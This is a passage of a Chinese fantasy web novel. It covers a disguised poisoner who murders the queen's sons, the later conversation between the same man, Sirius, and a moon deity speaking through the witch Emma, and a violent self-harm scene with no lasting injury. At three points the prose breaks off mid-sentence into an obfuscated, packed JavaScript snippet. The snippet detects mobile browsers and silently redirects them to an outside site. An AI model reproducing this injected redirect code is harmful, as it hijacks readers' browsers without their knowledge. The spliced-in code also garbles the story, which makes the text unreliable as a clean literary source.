“这是剧毒,请您当心。” “我的手很稳。你太操心了,克里特。”亚历克斯撇了撇嘴。 克里特是他当时的假名,一个出色而低调的药剂师,应聘上了二王子药理课家庭教师的职位,每周要到二王子的庄园上两节课。 按历朝的惯例,王子公主本也住在王宫中,但现在宫殿是女王一人的寝宫,她的孩子们则被安置在各自独立的庄园。 亚历克斯对药理实际没什么兴趣,这无非是贵族的必修,他的管家为他安排的学习项目之一。那些课他时常上得煎熬。 但这位药理老师给他的印象很不错。 克里特既不督促亚历克斯的学业,也不对他说教。 要是亚历克斯不想学习,他甚至会配合着想些糊弄管家的法子,还会为亚历克斯带来城里的趣事和游戏。 收买一个孩子无非如此。 亚历克斯和他单独交谈时往往抛却对于老师的敬语,直接叫他的名字。 甚至课程之外,还常常邀请他来自己的庄园参加晚宴。 大王子性情宽和,又是下一位最顺理成章的王位继承人,攀附结交他的人很多。 但仿佛顾忌母亲的想法,他的交际礼貌克制,拒绝了许多别有深意的邀请。 那些邀请中有不少转而递给了第二王子。 亚历克斯却与兄长不同,仿佛对此全无考量,不问来意地接受他人发出的邀约,甚至自己也喜好举办宴会,他的庄园日日热闹。 亚历克斯性情浪漫,缺失严谨的距离感,心血来潮又任性跳脱,与许多人交往过密,甚至有不少对于他性取向的怀疑。 他在贵族间风评不大好,多关于私生活的品行与个性。 如果有不明情况的人见过亚历克斯,再听这些传言,必定感到诧异好笑。 亚历克斯看起来至多十四五岁,无论容貌言行都仍是孩子稚气,对宴会的热衷想必也只是年幼好玩,那些说辞对一个孩子未免过度。 但要是对如今的艾佩庇里亚了解足够,再听这份传闻时,越细想越感到的只有一阵寒意。 亚历克斯实际已二十岁有余,与他兄长只差不过三岁。 大王子已俨然是个成熟的青年,亚历克斯却形容尚幼,心智也与外表相符。 如果这种偏差还只算是微妙,那么他们的妹妹则已经异常到令人难以忽视。 小公主在国王去世那年降生,至今也有十六岁,完全是个少女的年纪。 但她看起来像个只有三岁的孩童。 语言能力极其匮乏,至今连行走都困难,大部分时间都在沉眠,醒来也无法交流,只是目光空空地看着远处,或者不停地哭闹。 大王子过于忙碌,但亚历克斯时常会去看望妹妹,只是同样无法和她顺利交流。 “她哭累了就睡着了,一睡又是很久。有时候三天,有时候一周。 “真夸张啊,别人说我一觉睡一天已经够长了。是因为睡得太多,我才不长身体吗?” 亚历克斯咕哝道,半晌又沉默:“娜西总是在哭。不停地喊着‘妈妈’……别的什么都不会说。但妈妈从来不去看她。” 他圈住自己的膝盖,慢慢将自己埋下去:“她也不看我。” “为什么呢?……为什么她不看我?” 亚历克斯喃喃,“因为我不像她吗?如果我更像她一点,她会愿意多看我一眼吗?” “大哥也只是偶尔能见她几次。别人总是说,‘她是爱你们的’……我不知道,真的是这样吗? “我有时觉得她完全不在乎我们。” . 她当然在乎。他冰冷地想。 因为她不在乎其他任何东西。那些刹那的兴趣飘渺得像水雾,风一吹就散了个干净。 唯独,对她的三个孩子,她的态度是不同的。 不热情,不靠近,但绝不是不在意。 这一点,他非常确信。 . 对于亚历克斯那些袒露心声的脆弱,他也给了所有最适宜的体贴和答复,一些放之四处皆准的安慰与场面话。 亚历克斯的那些风评,他听一听就笑笑过,不往心里去,但又出于对他本人的了解,知道这些流言也非全无根据。 亚历克斯会跟他说那许多,不只是他这点收买孩子的把戏真的有多高明,而是亚历克斯本就很容易相信他人。 亚历克斯有一种时而隐秘时而强烈的不安,仿佛心上开了个未填的窟窿,要向他人寻求帮助,急切于获取稳定他的稻草,甚至为此表现出讨好和乖顺。 那种急切和阅历与体验的缺失使他错误估计了很多东西,盲目于眼前的善意和温柔,却从不去深究。 他的身份又有太多利益可图,以致围绕着他的关系畸形生长。 但如果一段关系真正使亚历克斯厌恶烦扰,他又能很快断掉相连的一切联系,仿佛不受一点过往情谊与愧疚所困。 他垂泪时真是可怜,让人误以为那是种无助,但他不理会那些求情与告饶时又那样轻松和冷漠。 他何止是不像他母亲。 比起优柔宽厚的大王子,亚历克斯这份性情更像传闻里那个还是王后时的,年轻的女王。 . “它看起来像是葡萄味的。”亚历克斯看着那份深紫色的溶液,“毒药会是什么味道呢?甜的?苦的?酸的?” 克里特说:“很少有人讲求毒药的口感。但根据原料看,我想不会很好喝。” 亚历克斯便思索了一会儿,转过好奇而明亮的绿眼睛:“——要是我尝一下呢?” “请不要说这种吓人的话了。我绝对会被追责的。”克里特做出叹气的无奈。 “也是。”亚历克斯遗憾地晃了晃溶液,忽然又说,“如果我喝掉这份毒药,然后死了,克里特大概也要被处死,这算是殉情吗?” “算是同归于尽。”他纠正说。 “‘同归于尽’是指跟讨厌的人一起死吧,可是,我还挺喜欢克里特你的。” “承蒙抬爱,但这个词委实太重了些。”他转移了话题,“这毒药的毒性很烈,但因为太烈了,喝一滴就致死,反而不难预防。” 亚历克斯被勾起了好奇:“那最防不住的,是怎么样的毒?” 他转动桌面的药瓶,抬起眼睛微笑:“——慢毒。剂量很低,但长期作用,或者原本无害,一起服用后却会产生毒性的食物。 “道具无法检测,魔法师的直觉也难以预警,最防不住的方法。” “啊……听起来……”亚历克斯愣了愣,片刻后说,“很仁慈。” . 亚历克斯对于死亡有一种奇异的轻率。 悲伤的时候,谈及死;高兴的时候,也谈及死。 有时提到死亡,他甚至眼中发光。 这个性让许多庄园的佣人担惊受怕,乃至那些客人和朋友也不时被他吓一激灵。 所以管家对那些接触尖锐物品的课程都相当小心,对药理课也多两分提防,看克里特的眼神非常沉重。 亚历克斯嫌药理枯燥,对毒药却不时多问几句。 克里特就像正常上课那样为他一个个介绍,没有特殊对待的警惕和慌张。 亚历克斯很满意他这种冷静。 克里特观察他时,也望向亚历克斯那双投向死亡的眼睛。 很奇妙的目光。不像那些人以为的,充满对死亡的兴奋,或者对未知的好奇,在那些模糊而莫名的热烈向往底下, 他看见恐惧。 就像任何一个天然想要活着的人一样。 亚历克斯恐惧死亡。 . 让人失望的结论。 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641482|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一天亚历克斯真的死于自杀,对他反而省心。 随便什么时候,死在任何地方,只要不给克里特带来麻烦就行。 啊,等到那个时候,“克里特”这个身份也用不着了。 . 好一会儿之后,亚历克斯又问他: “死于烈毒更痛苦,还是慢毒更痛苦?” “只有死者清楚。” “也是。” 亚历克斯不再问了。 . . . 大王子死于一场政治刺杀。 刺客的刀剑从他胸口穿心而过,他从马背坠落到地上,场面一片混乱。 护卫和随侍的医生死于刺客那之前的安排,后来的医生没能赶上。 那对整个艾佩庇里亚都是极大的动荡。 大王子为人仁善,在贵族民众间都口碑极佳,是公认的下一位继承人。 假如会有下一位的话。 他的葬礼公开举行,满城哀悼。 女王身披黑纱出席,身形不见任何老态。 她在寂静中走到长子棺木边,俯身亲吻了他的脸颊。 有人说得见女王垂泪。 但第二天她就换掉了丧服,认为推罗的肃穆太沉闷,要求人们恢复日常的歌舞喜乐。 人们不能不遵从,但许多人震惊。 有人认为她太冷血,有人以为丧子带给了她太大刺激。 . . 二王子死于毒杀。 验尸的医生声音颤抖,吓得话都说不完整——是烈毒。 毒性蔓延到他体表,纵使外行人也一眼看得出来。 那天有一场很大的宴会,出席宾客众多,人人慌乱地否认,拼命自证清白。对所有来宾的调查和检验花了一周。 但二王子只花三天就下了葬。 他的葬礼同样公开,但距离兄长的死亡不太远,比起悲痛,一阵更惶然的惊惧与恐慌开始蔓延。 谁都知道有什么在看不见地发生,有什么要变天了。 二王子在坊间的风评也微妙,但许多人听说他容貌美丽,前来一观。 所幸毒药没有毁掉他的面目,他看来就像只是睡着了一般。 女王没有出席次子的葬礼。推罗的歌舞一日不停。 . . 他不敢距离女王太近。 最强大的魔法师也一定最敏锐,他的恨意如此刺人,旁观者都容易发觉。 大王子葬礼时他混迹于人群中,远远地凝视着那个登上高台的黑衣的女人。 她俯在棺木边,隔着纱幕凝视儿子的尸体,不知道是怎么样的心情。 他希望她感到的是痛苦。 那痛苦远不足够。 . . 大王子的刺杀被归结为一位公爵的野心与谋反。 所有证据指向,女王没有多看一眼,挥挥手夷平了那公爵的领地,所有人为之震慑默然。 原本有所蠢动的其他公爵们再次恢复死寂,像冻结的冰川。 挑拨与怂恿只能用一次。但意料之中,他不算失望。 . . 亚历克斯死于慢毒。 他不是个称职的老师,从来没打算真正教会亚历克斯什么东西,但这或许能作为他送给学生最后的礼物和答案。 杀死亚历克斯的毒药不会让他死得太痛苦。以他的制毒水平,那些温室中的医生判断不清真正杀死亚历克斯的药物。 他其实并不讨厌亚历克斯,但目的早在他们见面之前就决定了。 . . 两个孩子的死似乎并未动摇女王,也或者她故作坚强。 但没关系,不重要。 不论如何,都只差最后一步了。 . . . 在那个拉着窗帘的、昏暗房间的午后中,亚历克斯摇摇晃晃着实木的靠椅,椅脚咚咚咚咚,穿过地毯击打着地板,一阵不安分的声响。 亚历克斯手里拿着药剂,砸到地上碎了就麻烦了,要是动静引来管家,他又难解释。怎么想都是在这里制止一下亚历克斯的动作更安全。 于是他走到亚历克斯身后,按住了他的椅背,告诫他当心。 他在身后帮亚历克斯整理了一下领饰,系好他散开袖口上的纽扣。亚历克斯发出笑声。 他忽然说:“老师,你是不是讨厌我母亲啊?” 他动作一顿,心口一阵冰凉的阴影掠过。 他早知道孩子敏锐,如果被察觉,就不得不考虑变更计划。 但他面上现出一点正常的惊愕,正常的不安:“我敬畏女王陛下……您知道,她是艾佩庇里亚的国王,普通人敬重畏惧她,这难免。” 亚历克斯哼嗯了一声,放下那支药剂,向他抬过头来。 “那我告诉你一个秘密,我从来没有告诉过其他人。” 在他身前的阴影中,那双绿色的眼睛滚动了一下,定定地望住他。 “我害怕她。” 132.降临 最近,他时常想起很久以前的事。 西里斯有很长时间拒绝回想,但那些记忆从梦境里走到他面前来,凝固他的目光,让已经得到结果的他站在另一个视角,遥远地再次看待所经历的一切。 “如果没有杀死亚历克斯”,这种假想曾经过他的大脑,但不通向任何一个可着落的将来。 从来没有其他如果。 即使复盘所有变量可能造成的影响,他也只会有唯一的选择。 . 梦境是深层意识的反映,魔法师的梦境更往往暗藏隐喻和指向。 反复回忆起那些事,意味着有什么变化要发生吗? 西里斯拿着茶杯,坐在窗边沉思。 七月过去是八月,八月结束之后的九月也平静如常。天气开始转冷,树叶开始变黄。 艾玛说想要留在阿瓦托芬。大概吧。 她告诉西里斯的时候,语气里仍然有两分漂浮的不确定,并不比她曾经说想要留在费拉约尔斯的时候明确。 如果许下不战誓约,接下神殿女巫的职责,想要再抽身离开,就不会像离开费拉约尔斯那样容易。 艾玛应该很明白,她比西里斯以为的还要聪明。 所以西里斯没有提供什么建议,只是想到如果要在神殿长住,或许真该找份稳定的工作,或许和克蕾娜商量,她会很欢迎。 但他近来时常情绪变化剧烈,负面感情上涌到必须独处调节,能保证出门的频率也不稳定,对工作来说过于不负责,于是搁置了这个念头。 他的精神状态正在不可挽回地变差,西里斯比任何人都清楚。 这种濒临崩溃的预兆已经到来得比想象中迟。 遇见艾玛之前,他的状况已经很不好,是因为待在女巫身边才得以缓解。 那能够稳定他的楔钉,一旦尝试从骨血中拔出,就会无可避免进一步加速他的崩溃。 或许是月神神殿太安宁,西里斯现在的心情意外平和,甚至难得乐观地想:这里是月神的神殿,艾玛说不定有办法把损失降到最低。 克蕾娜的安神药方对他不起作用。意料之中。 那些药性太大,对常人伤身的方子,对他才勉强有效。房间里的熏香太浓烈,幸好艾玛近来很少来找他。 西里斯隔了两秒又想起来,现在的艾玛已经不会被这些药物影响了。 . . . “您适应得很不错。” 利利提亚过来给她送文件时,手肘抵在会客桌边的椅背上。天象司刚开过关于女巫对天气变化影响程度范围与应对措施的会议。 会议已经结束,椅子推进了桌板下,房间里除了他和艾玛没有其他人,上午清澈的空气和明亮的光线从半开的窗户倾泻进来。 艾玛站在刚推回去的椅子背后,从手中的文件上抬了抬眼睛。 “怎么?”她问。 “循序渐进,按部就班,一切都很顺利,真让人高兴呢。” 艾玛隔着会议桌望了他几秒,说:“你失望了。” 没有否认。利利提亚耸了下肩:“是有一点吧。” 艾玛把视线放回手里的文件,翻了一页。 月神神殿上千年的收藏丰厚,但机密太多,不会对一个路过此地的女巫彻底开放。 即使利利提亚和部分议会成员为她打开后门,那些偷偷摸摸的小动作也放不开手脚。艾玛有些失去耐心。 她需要更直接、更正当的资格和权力。 月神女巫在自己的神殿该有的权力。 按照他们的规则,接受他们的誓约礼是最明了的方法。 艾玛也从没有挑起战争的打算,不战誓约于她并未损失什么。 待在阿瓦托芬是目前最好的方案。在这里越久,或许,她就越能接近…… “您并没有想清楚。”利利提亚的声音掉落在地砖上,滑过石砖的表面。 “我考虑过了。”艾玛说。 “考虑之后的结果,也只是顺着之前的方向继续,不怀疑出发点的选择,也不探讨其他可能。 “您深思熟虑,最终只选了一个自己并不确定,也不期待的方式。既为难您自己,也不见得有足够效率。” 艾玛说:“你很不想我签订不战誓约。” “为自由的人平白带上枷锁总令人痛心,何况是对您。” “我不喜欢战争,不战誓约对我可有可无。”艾玛看他一眼,“倒是他们没有让你订下不战誓约的打算,恐怕很失策。” 利利提亚笑了一声:“再强的人类也无法与女巫相较,对神殿来说,我还不值得这契约的分量。当然,即使他们要求,我也不会同意。” “那么我们都应该对现状满意。”艾玛又翻过一页文档。 利利提亚望了她好一会儿,双手交叉着落在空中。 艾玛合上文件后又看了他一眼,利利提亚说:“您的女巫身份准备公开,今后恐怕很难随心所欲地四处闲逛了。” “大概吧。”艾玛拿过下一份文件,“如果真有需要,也会有其他伪装方法的。像你一样。” “也是。”利利提亚点头,“那么,不继续打扰您了。” 他离开椅背,说了句什么。 艾玛顿一顿,向他抬过头,皱眉:“你刚刚用的是什么语言?” “罗穆卢斯的方言,一句普通的祝福话。” 利利提亚向她笑一笑,“用通用语讲——‘祝您顺风顺水,万事顺意’。” 翻译法术翻出的结果大抵相同,和利利提亚讲的通用语版本差不多。 但艾玛感到一点微妙的别扭,说不清是哪里。 利利提亚说完就离开了。 艾玛原地想了片刻,松开思绪,忘记了这点细小的不适。 . . . 十月份的月亮无声无息地上升,悬挂在天空中。空气里透出深秋的冷意。 西里斯在藏书室停留得有些晚。 他原本是去借有关医疗药草的典籍,路过书架边,偶然看见一本小说。 原本没什么稀奇,但直觉与熟悉提醒了他。 在他还是赤砂的时候,曾从某个强盗团地方缴获过一箱子杂书,其中有一本寻宝故事。 那书本分了上下卷,他拿到的只有一卷上册。 赤砂并不很放在心上,只有黛丝特难受得抓心挠肝,仿佛没找到宝箱的人是自己。 藏书室的书架上整齐排列着上下卷两册。时间隔得太久,他连上卷都记不清楚,便从书架里抽出来从头开始看。 西里斯看书很快,以为用不了多少时间,但还是估错了文本长度。 上卷的沙漠冒险写得很有趣味,下卷却似乎翻不出花样,笔锋一转又开始了寻宝故事中老生常谈的“魔鬼与海”,终局的解密也乏善可陈。 宝箱虽然到手了,但故事实在差强人意,黛丝特没看下卷也好。 他停一停,又想:不,黛丝特其实只要宝箱到手了就好,过程精不精彩,她实际不管那许多的。 . 西里斯走出藏书室。当晚月光明亮,透过长廊边的窗户,一格一格铺满地面,连成一片通向远处的台阶。 他看着地上的月光,忽然有点想念艾玛。 比起脚步声,西里斯最先察觉到的是视线。 自远处的黑暗中来,笔直落到他身上,像一点冰冷的火星。 他抬起头,看见出现在走廊另一端银发的青年。 长廊的明暗在他身上交错,使得他如同淌过月光,自水面下上浮。月色滑下他发梢,浸润了他白色的长袍。 对上那双蓝色的眼睛时,利利提亚对他微笑了一下。 西里斯皱起眉。 看起来是偶然走了同一条路,巧合碰到。真不走运。 西里斯不想跟他打招呼,更没有客套的心情。 他们虽然照过几次面,但几乎没说过话。 周围没有人,无需向谁表演什么。过道宽敞到足够数人并行,绕开就算了。西里斯希望他们都能直接当做不认识。 利利提亚确实没有说话。 十步。 五步。 一步。 距离越来越近。 在他们擦身而过的那一瞬间,西里斯听见耳边不算熟悉的声音——说着他最熟悉的语言。 西里斯停住脚步。 他有几秒钟没回神,怀疑听到的只是错觉。 那语言写录在他骨血里,早自耳畔消迹,却仍然于他脑海日日盘桓,发声于不同的振动,说着含义近似的话。 无数次重复,永不知疲倦。 利利提亚的声音比回响更清晰,在繁杂的底噪里失真,让人疑心是真实,还仅仅是发生于回响的幻觉。 额角的血管跳动。 西里斯对自己说:那是现实。 他很快冷静下来,那种迅速的掩饰习惯接近本能。 西里斯回过身,看见利利提亚正看着他,双手背在身后,微笑地等待。 . 西里斯回答,用通用语:“抱歉,我没有听懂。” 利利提亚笑了笑,用那种语言继续说:“为什么要撒谎呢?” 他大概有一点失去耐心。莫名其妙的烦躁从晦暗的阴翳里浮起。 “意思是,我不想回答。”西里斯冰冷地说,“我以为你是个聪明人。” 利利提亚没有追问。 西里斯不想跟他打哑谜,头也不回地走了。 利利提亚站在原地,只是目送着他离开的身影,仍然微笑着。 . . 他是罗穆卢斯人。 西里斯为自己寻找解释。 多学过几门语言不奇怪,问题在于准确地用这种语言来试探他。 他发现了什么? 他疏忽了什么? 西里斯跟许多人打过交道,凭借感觉和经验,他判断利利提亚不适合用逻辑来分析推理。 这类人的行为如果别有深意,一定会有后续。西里斯需要做的只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645017|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等待。 他也确实没有去主动质问的打算。 看见利利提亚时产生的厌恶近乎应激,让西里斯难以保持客观冷静。 他突兀想起另一双蓝色的眼睛。 那种模糊的不适骤然具象了两分,像火堆里扔进木柴,惊起一丛火星。 ——他跟那个女人给人的感觉有些相似。 西里斯想。一样让人厌憎的个性。 回过神时,西里斯发现自己走到了女巫的房间附近。 他对神殿的布局构造已有一定的熟悉,通往女巫房间的路,他也走过几次。 西里斯本想回自己的房间,身体下意识的指向方位却带他走到了这里。 他跟艾玛之间契约的存在感薄弱,像连接着他们心脏的一根细线。 西里斯能据此感应到艾玛的大致方位,并确认她生命体征正常。对艾玛想必也一样。 契约的感应让他清楚,艾玛正在房间里。 西里斯犹豫了片刻,想见她的心情微微动摇。 他有一周左右没见过艾玛。 誓约礼的日期大致确定,今年结束之前是来不及了,仪式的种种准备,最早也要明年初才能完成。目前就定在明年二月。 艾玛最近忙于筹备各项对接,他没去打扰。 虽然想要保持距离,但是一周没见过面,主动找她一次,应该还算正常。 西里斯走到房门前,敲了敲门。 房间里艾玛说:“请进。” 他拉开把手,看见艾玛坐在沙发上,身上一袭繁复的礼服,长长的裙摆垂到地面。 听见开门声,艾玛回过头。在看见西里斯的时候,似乎有一瞬间惊愕。 一位女性正半跪在沙发边上,托起艾玛的裙摆,听见声音,也向门口看了一眼。 她的手臂上缠着根卷尺,沙发一角放着厚重的布料样品册,册子正摊开着。 她看了看艾玛,又看了一眼西里斯,便很识趣站起来,收好自己的工具:“——如果您满意这件,我就先把这个方案放进备选,设计上还有几处未完成的细节……其他下次再细说吧。我先回去了,不打扰两位。” 她向艾玛行礼告辞,艾玛点点头。 经过门边,女人也向西里斯点头致了一礼,出去时还带上了门。 “打扰你了吗?”西里斯问。 “没有。”艾玛回答很快,“那是文礼司的人。这件礼服刚做出实物,拿来看看,正好讲得差不多。你有什么事吗?” 艾玛的视线落到他手里的书上。 那是两本从藏书室借来的药方集录,一开始就没有作为一个见面借口的打算,现在也难以临时充当一个合适的由头。 “不……没什么事。”西里斯说。 “啊……是吗。”艾玛答得有些僵硬。 他把书放在沙发对角的柜子上,靠在柜边。 落地窗外的月光正对着艾玛,层层裙摆上的花纹与针脚都能看得清晰。 艾玛却低着头,像避开他目光似的,盯着自己的手。 话题不是没有。远到她的安排计划,近到她现在身上的礼服。 但两人谁都没有说,一阵尴尬在他们之间凝滞。 西里斯也多少觉得自己有点莫名。 没有任何想说的事,没有什么打算沟通的问题,只是凭着感觉找到艾玛房间,三更半夜,还打断了对方的正事。让人有点气闷。 他于是无意义地跟着看了一会儿艾玛的手,过了半分多钟,感到自己的行为蠢得有点好笑。 西里斯抵着柜角起身,打算离开:“我还是回去……” 他的声音倏然中断。 . 一阵异常的,极度的寂静自周边蔓延开,仿佛天地间所有灯光音声霎时失色,只剩一片白茫茫的月光。 巨大的月亮俯身下来,如同天空贴于窗前的一只夜晚的眼睛。 . “你有问题要问。” 肯定的语气。 没有感情,没有起伏。 仿佛四周空旷,于极远的渺茫处发声,自带重叠的回音。 那是艾玛的声音。 . 坐在沙发上的艾玛放松了肢体,交握的双手松松搭在膝头。 她向后靠住椅背,对西里斯抬过眼睛。 金色的双眼中,那对深色的瞳孔变得极浅,泛着两点微小的银光。 一根银色的细线横亘着穿过她金色的虹膜,线条随着她发声波动,变化成不规则的曲线几何。 在艾玛身边时,西里斯脑海中的声音会安静很多。 但从未如此安静,寂寂如同消失了一般。 背后的月亮冰冷而沉默,光辉灼灼。 亘古如此,从未变化。 月亮正看着他。 . 在那片浩渺的寂静里,西里斯终于打捞回自己的声音。 他走到艾玛面前,将手抵在心上,行了极郑重的一礼。 “贵安,初次见面……‘月神殿下’。” 133.自问自答 “‘初次见面’?”祂咀嚼这个词,“如果你是指,像这样和你对话。但我们早就认识你。” “‘我们’?” “许多人类称呼我们‘月神’,视我们为一个可以被定义的个体。 “但一滴水,一阵风,一粒沙子,要如何被定义? “河流中的一滴水也是河流,沙漠与其中一粒沙子并无区别。 “‘我’是‘我们’,‘我们’也是‘我’。 “我们无处不在,介乎物质与概念,没有个体意识的边界。 “现在与你对话的,也只是‘一滴水’,既代表整条河流,也只是河流的一部分。” 虽然有着艾玛的声音与外表,但祂说话的语调毫无起伏,只有眼中的银色线条稳定而毫无规律地波动,不掺杂任何情绪。 艾玛从不用这样的眼神看他,也不会这么和他说话。 这让西里斯感到违和的陌生。 西里斯停顿了一下:“请问,艾玛她……?” “她暂时不想见你。”月神回答,“并且,她似乎认为,比起她,你更需要‘我们’。” 西里斯愣了愣,垂下眼睛:“……她怎么会这么想?” “那是你们的问题。”月神说,“你要问的应该也不是这些事情。” 沉默了片刻,西里斯抬起目光。 那些柔软、迟疑和动摇的情绪都消匿了,暗红色的双眼坚硬,冻结着顽固不化的火焰。 问题只有一个,出口时不需要任何犹豫: “您能够杀死我吗?” “可以。”月神说,“但我们不会这么做。” “您需要理由?”西里斯说,“如果您能直接杀死我,您的女巫就不需要承担付出性命的风险。” “她和你签订怎样的契约,是否遵守,都是她的自由。即使她要为此死去,那也是她自己做出的选择。我们不会干涉。” 西里斯苦笑了一下:“神明和女巫之间,都是这样的关系吗?” “被你们定义为‘不同的神明’的‘我们’之间,确实存在分别。但是,在关于‘女巫’的事情上,我们有相同的共识。” 月神说,“我们不会杀死你。那会惹‘海神’不高兴的。” 仿佛听见细小血管冻结的声音,西里斯觉得指尖冰冷发麻。 他说:“什么?” 月神的声音仍然没有波动:“一般情况下,我们不会跟女巫之外的人类直接对话。你算是个例。对我们来说,你勉强可以算作‘半个女巫’。” “我不是女巫!”西里斯几乎失态地打断祂,他的声音不可控制地放大,“她已经死了!” “从人类的标准来说,是的。”月神平静地说,“但是,近两百年内,海神并没有选出新的女巫。这代表祂的态度。祂对你有所期待。” “……祂的女巫已经死了。”西里斯咬着牙,一字一字地强调。 “如果你真的如此坚信,我们不会在这里对话。”月神偏了偏头,像是肯定了一个猜测,“嗯,你没有和海神对话过。你拒绝了祂。 “不过,这是你们之间的问题。你不是我们的女巫,只是出于她对你的好感,我们才破例向你回答。我们也有我们之间的默契,不能越线。” 祂没有感情地打量西里斯,叙述的语调平稳:“不过,不用太担心。人类的性命非常短暂。你所寻求的‘死亡’很快会实现……即使不以你所期待的方式。” . . 西里斯不记得自己是怎么离开房间的。 深夜的长廊寂静,窗外的黑暗在玻璃上凝固成一片片狭窄的平面。 西里斯看见火光。 艾佩庇里亚覆灭的那一天并不是夜晚,天空中是如同火烧般的夕阳。 他不曾亲临过的每一个死前的时刻在他脑海中哭喊着,无数次重演,填满那片鲜红色背后的空白,具体地复现那一瞬间的地狱。 他拖着脚步走过那道漫长、漫长的长廊,尽头是他为自己划定的终点,他所选择的死亡。 窗外的火焰在燃烧,热度使他双眼灼痛,手上的鲜血,遥远的哭声,他在那个时刻没有去看的一切,仍然凝固在他身上,仿佛痛感重新生长,每一根神经的记忆都比当时当日更加鲜活。 有人俯下身,环住他脖颈,贴在他耳边,声音歌唱那样温柔。 她说: “我祝福你。” . 一阵剧痛自颈间传来,那些灼目的火光一瞬间全部消下去,光影与幻觉消融于浓重的黑暗,只剩破碎的呼吸声回响。 西里斯掐断了自己的脖颈,带来的痛觉让他短暂地失去了意识,回过神来,断裂的颈骨已经重新连接,喉管和声带慢一步恢复运作,重新开始呼吸。 掰断脖颈时喷溅出的血液洒在书桌上,书本纸张推翻散乱,沾着斑斑血迹,满地的狼藉。 书桌上的镜子有半面溅满了血,血滴顺着重力,从镜面上滑落。 手心里的鲜血尚温热,神经绷到几乎最紧,在暴怒的临界上颤动。 “冷静……”西里斯对自己说。 冷静下来。不能再这样。 泄愤没有作用。这种徒劳无功的行为,重复再多次,也只是雪上加霜。 他的手还在发抖。房间里昏暗,只有零星月光。 沾血的镜面诚实地倒映出他的面容,但西里斯抬起目光时,却从镜子里看到另一张女人的脸。 西里斯猛地一拳捶在镜子上,镜子咔地碎裂了。 蛛丝般的裂纹自他手边蔓延,铺满整张镜面,将镜子里倒映的一切扭曲成无数个细小的影像。 他将拳头抵在前额上,颤抖地深呼吸着。 . . . 房间空旷,只有她一个人。 艾玛合上眼睛,抱起双腿,将脸埋进膝盖间,在寂静中漫长地沉默着。 内心中那道只有她能听见的声音说:“他走了。” “我知道。”艾玛没有开口,在心里回答。 她内心里那个小小的艾玛坐在地上,从膝盖中抬起头来。 周围是没有任何事物存在的黑暗,只有面前那颗漂浮的星球,在黑暗里微弱地发着光。 那颗星星说:“你决定留在这里。” 艾玛说:“我是这么想的。” 星星上冰冷的光线缓慢地闪动了一下,它说:“你并不高兴。” “这是我现在最好的办法。”艾玛说,“阿瓦托芬,这座神殿,这个房间,是距离你们最近的地方。 “无论是天上那一半,还是地下那一半。待在这里越久,我和你们之间的联结就越深。越接近你们,我越强大。” 星星沉默,不言不语。 艾玛慢慢低下身,脸贴到膝上,声音很轻:“人类都有故乡。都渴望回到故乡。到底怎样算‘故乡’呢? “奥辛莱特的日记里,后来很少再提到她出生的地方。她应该是很喜欢阿瓦托芬。 “怎么会不喜欢?这为女巫而存在的‘理想乡’。 “女巫们在这里建立维护这样一座神殿,为了我们在地上有家可回。” 艾玛向星星伸出手,又拢回手指:“靠近你,对我们就如同回到‘故乡’。即使是我也能明白,我在这里感受到前所未有的安全。 “这里漂浮的粒子性质与我如此相近,魔力回应远强于其他任何地方。 “仿佛我是这里的一部分,我是这里的心脏,就像我生来在这里。我生来‘应该’在这里。” “但这就太讽刺了。”艾玛说,“毕竟,我是被你们舍弃的部分。” “我们并不认为那是‘舍弃’。”星星说,“你是我们的‘变化’,我们对于生命和个体的好奇。 “‘情感’‘好奇心’,都是不稳定要素,我们必须将这些部分从集体中分离,为此创造了‘女巫’——这个名字,是你们自己定义的。 “对我们来说,虽然女巫具有个体的形态和特征,但你们的本质与我们并无不同。你始终是我们的一部分。” “因为害怕变化,就要分离我们,为了保持你们的稳定。” “变化意味着风险,我们不拒绝学习和改变,但必须确认改变的方向不会将我们引向毁灭。 “我们的存在太广阔,为了保持存续,必须维护集体意识的统一和稳定。” “胆小,谨慎,怕死。”艾玛说。 “你可以这么说。”祂回复,“渴望存续是生命的本能。我们不符合生命的常规定义,但具有生命的特征。 “惧怕死亡是天性,不需要为之感到羞愧。事实上,我们也不具备能够体会‘羞愧’等情绪的机能。” 艾玛自嘲般笑了笑:“是啊……事实上,我也没有资格嘲笑你们。我一样害怕变化,逃避毁灭的可能。这不是完全和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649799|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一样吗。 “但是……我能感受到,我和曾经那些女巫也有所不同。比起她们,我天然地更接近你。” “是的。”星星回答,“你诞生的时候太虚弱了。我们找到适配的胎儿时,你的灵魂几乎死亡。 